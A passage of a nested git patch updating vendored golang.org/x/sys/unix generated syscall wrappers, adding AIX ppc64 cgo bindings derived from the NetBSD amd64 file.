-+ r0, er := C.sendto(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags), C.uintptr_t(uintptr(to)), C.uintptr_t(uintptr(addrlen)))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, er := C.nrecvmsg(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(msg))), C.int(flags))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-+ r0, er := C.nsendmsg(C.int(s), C.uintptr_t(uintptr(unsafe.Pointer(msg))), C.int(flags))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func munmap(addr uintptr, length uintptr) (err error) {
-+ r0, er := C.munmap(C.uintptr_t(addr), C.uintptr_t(length))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Madvise(b []byte, advice int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.madvise(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(advice))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mprotect(b []byte, prot int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.mprotect(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(prot))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mlock(b []byte) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.mlock(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mlockall(flags int) (err error) {
-+ r0, er := C.mlockall(C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Msync(b []byte, flags int) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.msync(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Munlock(b []byte) (err error) {
-+ var _p0 *byte
-+ if len(b) > 0 {
-+ _p0 = &b[0]
-+ }
-+ var _p1 int
-+ _p1 = len(b)
-+ r0, er := C.munlock(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Munlockall() (err error) {
-+ r0, er := C.munlockall()
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func pipe(p *[2]_C_int) (err error) {
-+ r0, er := C.pipe(C.uintptr_t(uintptr(unsafe.Pointer(p))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func poll(fds *PollFd, nfds int, timeout int) (n int, err error) {
-+ r0, er := C.poll(C.uintptr_t(uintptr(unsafe.Pointer(fds))), C.int(nfds), C.int(timeout))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func gettimeofday(tv *Timeval, tzp *Timezone) (err error) {
-+ r0, er := C.gettimeofday(C.uintptr_t(uintptr(unsafe.Pointer(tv))), C.uintptr_t(uintptr(unsafe.Pointer(tzp))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Time(t *Time_t) (tt Time_t, err error) {
-+ r0, er := C.time(C.uintptr_t(uintptr(unsafe.Pointer(t))))
-+ tt = Time_t(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Utime(path string, buf *Utimbuf) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.utime(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getsystemcfg(label int) (n uint64) {
-+ r0, _ := C.getsystemcfg(C.int(label))
-+ n = uint64(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func umount(target string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(target)))
-+ r0, er := C.umount(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrlimit(resource int, rlim *Rlimit) (err error) {
-+ r0, er := C.getrlimit64(C.int(resource), C.uintptr_t(uintptr(unsafe.Pointer(rlim))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setrlimit(resource int, rlim *Rlimit) (err error) {
-+ r0, er := C.setrlimit64(C.int(resource), C.uintptr_t(uintptr(unsafe.Pointer(rlim))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Seek(fd int, offset int64, whence int) (off int64, err error) {
-+ r0, er := C.lseek64(C.int(fd), C.longlong(offset), C.int(whence))
-+ off = int64(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func mmap(addr uintptr, length uintptr, prot int, flags int, fd int, offset int64) (xaddr uintptr, err error) {
-+ r0, er := C.mmap(C.uintptr_t(addr), C.uintptr_t(length), C.int(prot), C.int(flags), C.int(fd), C.longlong(offset))
-+ xaddr = uintptr(r0)
-+ if uintptr(r0) == ^uintptr(0) && er != nil {
-+ err = er
-+ }
-+ return
-+}
-diff --git a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64.go
-similarity index 57%
-copy from vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-copy to vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64.go
-index 7b6c2c87..664b293b 100644
---- a/vendor/golang.org/x/sys/unix/zsyscall_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsyscall_aix_ppc64.go
-@@ -1,22 +1,23 @@
--// mksyscall.pl -netbsd -tags netbsd,amd64 syscall_bsd.go syscall_netbsd.go syscall_netbsd_amd64.go
-+// go run mksyscall_aix_ppc64.go -aix -tags aix,ppc64 syscall_aix.go syscall_aix_ppc64.go
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build netbsd,amd64
-+// +build aix,ppc64
-
- package unix
-
- import (
-- "syscall"
- "unsafe"
- )
-
--var _ syscall.Errno
--
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-- n = int(r0)
-+func utimes(path string, times *[2]Timeval) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callutimes(uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -25,8 +26,13 @@ func getgroups(ngid int, gid *_Gid_t) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func setgroups(ngid int, gid *_Gid_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETGROUPS, uintptr(ngid), uintptr(unsafe.Pointer(gid)), 0)
-+func utimensat(dirfd int, path string, times *[2]Timespec, flag int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callutimensat(dirfd, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(times)), flag)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -35,9 +41,12 @@ func setgroups(ngid int, gid *_Gid_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err error) {
-- r0, _, e1 := Syscall6(SYS_WAIT4, uintptr(pid), uintptr(unsafe.Pointer(wstatus)), uintptr(options), uintptr(unsafe.Pointer(rusage)), 0, 0)
-- wpid = int(r0)
-+func getcwd(buf []byte) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ _, e1 := callgetcwd(uintptr(unsafe.Pointer(_p0)), len(buf))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -47,7 +56,7 @@ func wait4(pid int, wstatus *_C_int, options int, rusage *Rusage) (wpid int, err
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
- func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-- r0, _, e1 := Syscall(SYS_ACCEPT, uintptr(s), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+ r0, e1 := callaccept(s, uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
- fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -57,8 +66,13 @@ func accept(s int, rsa *RawSockaddrAny, addrlen *_Socklen) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_BIND, uintptr(s), uintptr(addr), uintptr(addrlen))
-+func getdirent(fd int, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ r0, e1 := callgetdirent(fd, uintptr(unsafe.Pointer(_p0)), len(buf))
-+ n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -67,8 +81,9 @@ func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-- _, _, e1 := Syscall(SYS_CONNECT, uintptr(s), uintptr(addr), uintptr(addrlen))
-+func wait4(pid Pid_t, status *_C_int, options int, rusage *Rusage) (wpid Pid_t, err error) {
-+ r0, e1 := callwait4(int(pid), uintptr(unsafe.Pointer(status)), options, uintptr(unsafe.Pointer(rusage)))
-+ wpid = Pid_t(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -77,9 +92,8 @@ func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func socket(domain int, typ int, proto int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SOCKET, uintptr(domain), uintptr(typ), uintptr(proto))
-- fd = int(r0)
-+func ioctl(fd int, req uint, arg uintptr) (err error) {
-+ _, e1 := callioctl(fd, int(req), arg)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -88,8 +102,9 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-- _, _, e1 := Syscall6(SYS_GETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
-+func FcntlInt(fd uintptr, cmd int, arg int) (r int, err error) {
-+ r0, e1 := callfcntl(fd, cmd, uintptr(arg))
-+ r = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -98,8 +113,8 @@ func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_SETSOCKOPT, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
-+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) (err error) {
-+ _, e1 := callfcntl(fd, cmd, uintptr(unsafe.Pointer(lk)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -108,8 +123,9 @@ func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr)
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETPEERNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+func fcntl(fd int, cmd int, arg int) (val int, err error) {
-+ r0, e1 := callfcntl(uintptr(fd), cmd, uintptr(arg))
-+ val = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -118,8 +134,13 @@ func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETSOCKNAME, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)))
-+func Acct(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callacct(uintptr(unsafe.Pointer(_p0)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -128,8 +149,13 @@ func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Shutdown(s int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_SHUTDOWN, uintptr(s), uintptr(how), 0)
-+func Chdir(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callchdir(uintptr(unsafe.Pointer(_p0)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -138,8 +164,13 @@ func Shutdown(s int, how int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-- _, _, e1 := RawSyscall6(SYS_SOCKETPAIR, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
-+func Chroot(path string) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callchroot(uintptr(unsafe.Pointer(_p0)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -148,15 +179,8 @@ func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_RECVFROM, uintptr(fd), uintptr(_p0), uintptr(len(p)), uintptr(flags), uintptr(unsafe.Pointer(from)), uintptr(unsafe.Pointer(fromlen)))
-- n = int(r0)
-+func Close(fd int) (err error) {
-+ _, e1 := callclose(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -165,14 +189,9 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SENDTO, uintptr(s), uintptr(_p0), uintptr(len(buf)), uintptr(flags), uintptr(to), uintptr(addrlen))
-+func Dup(oldfd int) (fd int, err error) {
-+ r0, e1 := calldup(oldfd)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -181,9 +200,20 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_RECVMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-- n = int(r0)
-+func Exit(code int) {
-+ callexit(code)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
-+ }
-+ _, e1 := callfaccessat(dirfd, uintptr(unsafe.Pointer(_p0)), mode, flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -192,9 +222,8 @@ func recvmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_SENDMSG, uintptr(s), uintptr(unsafe.Pointer(msg)), uintptr(flags))
-- n = int(r0)
-+func Fchdir(fd int) (err error) {
-+ _, e1 := callfchdir(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -203,9 +232,8 @@ func sendmsg(s int, msg *Msghdr, flags int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, nevent int, timeout *Timespec) (n int, err error) {
-- r0, _, e1 := Syscall6(SYS_KEVENT, uintptr(kq), uintptr(change), uintptr(nchange), uintptr(event), uintptr(nevent), uintptr(unsafe.Pointer(timeout)))
-- n = int(r0)
-+func Fchmod(fd int, mode uint32) (err error) {
-+ _, e1 := callfchmod(fd, mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -214,14 +242,13 @@ func kevent(kq int, change unsafe.Pointer, nchange int, event unsafe.Pointer, ne
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) {
-- var _p0 unsafe.Pointer
-- if len(mib) > 0 {
-- _p0 = unsafe.Pointer(&mib[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ var _p0 *byte
-+ _p0, err = BytePtrFromString(path)
-+ if err != nil {
-+ return
- }
-- _, _, e1 := Syscall6(SYS___SYSCTL, uintptr(_p0), uintptr(len(mib)), uintptr(unsafe.Pointer(old)), uintptr(unsafe.Pointer(oldlen)), uintptr(unsafe.Pointer(new)), uintptr(newlen))
-+ _, e1 := callfchmodat(dirfd, uintptr(unsafe.Pointer(_p0)), mode, flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -230,13 +257,13 @@ func sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr)
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func utimes(path string, timeval *[2]Timeval) (err error) {
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_UTIMES, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(timeval)), 0)
-+ _, e1 := callfchownat(dirfd, uintptr(unsafe.Pointer(_p0)), uid, gid, flags)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -245,8 +272,8 @@ func utimes(path string, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func futimes(fd int, timeval *[2]Timeval) (err error) {
-- _, _, e1 := Syscall(SYS_FUTIMES, uintptr(fd), uintptr(unsafe.Pointer(timeval)), 0)
-+func Fdatasync(fd int) (err error) {
-+ _, e1 := callfdatasync(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -255,9 +282,8 @@ func futimes(fd int, timeval *[2]Timeval) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-+func Fsync(fd int) (err error) {
-+ _, e1 := callfsync(fd)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -266,14 +292,9 @@ func fcntl(fd int, cmd int, arg int) (val int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Madvise(b []byte, behav int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(behav))
-+func Getpgid(pid int) (pgid int, err error) {
-+ r0, e1 := callgetpgid(pid)
-+ pgid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -282,56 +303,33 @@ func Madvise(b []byte, behav int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-+func Getpgrp() (pid int) {
-+ r0, _ := callgetpgrp()
-+ pid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-+func Getpid() (pid int) {
-+ r0, _ := callgetpid()
-+ pid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-+func Getppid() (ppid int) {
-+ r0, _ := callgetppid()
-+ ppid = int(r0)
- return
- }
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
-+func Getpriority(which int, who int) (prio int, err error) {
-+ r0, e1 := callgetpriority(which, who)
-+ prio = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -340,14 +338,8 @@ func Msync(b []byte, flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-+func Getrusage(who int, rusage *Rusage) (err error) {
-+ _, e1 := callgetrusage(who, uintptr(unsafe.Pointer(rusage)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -356,8 +348,9 @@ func Munlock(b []byte) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Munlockall() (err error) {
-- _, _, e1 := Syscall(SYS_MUNLOCKALL, 0, 0, 0)
-+func Getsid(pid int) (sid int, err error) {
-+ r0, e1 := callgetsid(pid)
-+ sid = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -366,10 +359,8 @@ func Munlockall() (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func pipe() (fd1 int, fd2 int, err error) {
-- r0, r1, e1 := RawSyscall(SYS_PIPE, 0, 0, 0)
-- fd1 = int(r0)
-- fd2 = int(r1)
-+func Kill(pid int, sig Signal) (err error) {
-+ _, e1 := callkill(pid, int(sig))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -378,14 +369,12 @@ func pipe() (fd1 int, fd2 int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-+func Klogctl(typ int, buf []byte) (n int, err error) {
-+ var _p0 *byte
- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-+ _p0 = &buf[0]
- }
-- r0, _, e1 := Syscall(SYS_GETDENTS, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-+ r0, e1 := callsyslog(typ, uintptr(unsafe.Pointer(_p0)), len(buf))
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -395,13 +384,13 @@ func getdents(fd int, buf []byte) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Access(path string, mode uint32) (err error) {
-+func Mkdir(dirfd int, path string, mode uint32) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
- if err != nil {
- return
- }
-- _, _, e1 := Syscall(SYS_ACCESS, uintptr(unsafe.Pointer(_p0)), uintptr(mode), 0)
-+ _, e1 := callmkdir(dirfd, uintptr(unsafe.Pointer(_p0)), mode)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -410,8 +399,13 @@ func Access(path string, mode uint32) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
